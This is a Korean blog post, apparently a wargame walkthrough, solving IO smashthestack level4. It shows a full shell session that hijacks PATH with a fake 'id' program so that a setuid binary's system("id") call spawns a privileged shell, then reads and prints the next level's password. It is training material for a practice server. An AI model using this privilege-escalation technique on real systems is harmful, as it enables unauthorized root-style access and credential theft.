IO smashthestack level4

2011. 7. 25. 21:52·Wargame/IO.smashthestack.org
level4@io:/tmp/.pwn3r$ ls -l /levels/level04* 
-r-sr-x--- 1 level5 level4 7016 Nov 16  2007 /levels/level04 
-r-------- 1 level4 level4  65 Nov 16  2007 /levels/level04.c 
level4@io:/tmp/.pwn3r$ cat /levels/level04.c 
#include <stdlib.h> 

int main() { 

system("id"); 

return 0; 
} 
level4@io:/tmp/.pwn3r$ ls -l    
total 12 
-rwxr-xr-x 1 level4 level4 6639 Apr  8 15:09 id 
-rw-r--r-- 1 level4 level4  89 Apr  8 15:09 id.c 
level4@io:/tmp/.pwn3r$ cat id.c 
#include <stdio.h> 

int main() 
{ 
  setreuid(geteuid(),geteuid()); 
  system("/bin/sh"); 
} 
level4@io:/tmp/.pwn3r$ export | grep PATH 
declare -x LD_LIBRARY_PATH="/usr/local/lib" 
declare -x PATH="/usr/local/bin:/usr/bin:/bin:/usr/games" 
level4@io:/tmp/.pwn3r$ export PATH=/tmp/.pwn3r:$PATH 
level4@io:/tmp/.pwn3r$ /levels/level04  
sh-3.2$ /usr/bin/id 
uid=1005(level5) gid=1004(level4) groups=1004(level4),1029(nosu) 
sh-3.2$ cat /home/level5/.pass 
RAhK8VOfcVYV 
sh-3.2$ 

'Wargame > IO.smashthestack.org' 카테고리의 다른 글

IO smashthestack level5  (0) 2011.07.25
IO smashthestack level3  (0) 2011.07.17
IO smashthestack level2  (0) 2011.07.17
IO smashthestack level1  (0) 2011.07.17
'Wargame/IO.smashthestack.org' 카테고리의 다른 글
  • IO smashthestack level5
  • IO smashthestack level3
  • IO smashthestack level2
  • IO smashthestack level1
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    gnuboard
    csaw
    HUST
    csaw ctf
    web
    HUST2011
    vuln
    power of community
    후기
    POC
    pwnables
    정보보호올림피아드
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
IO smashthestack level4
상단으로

티스토리툴바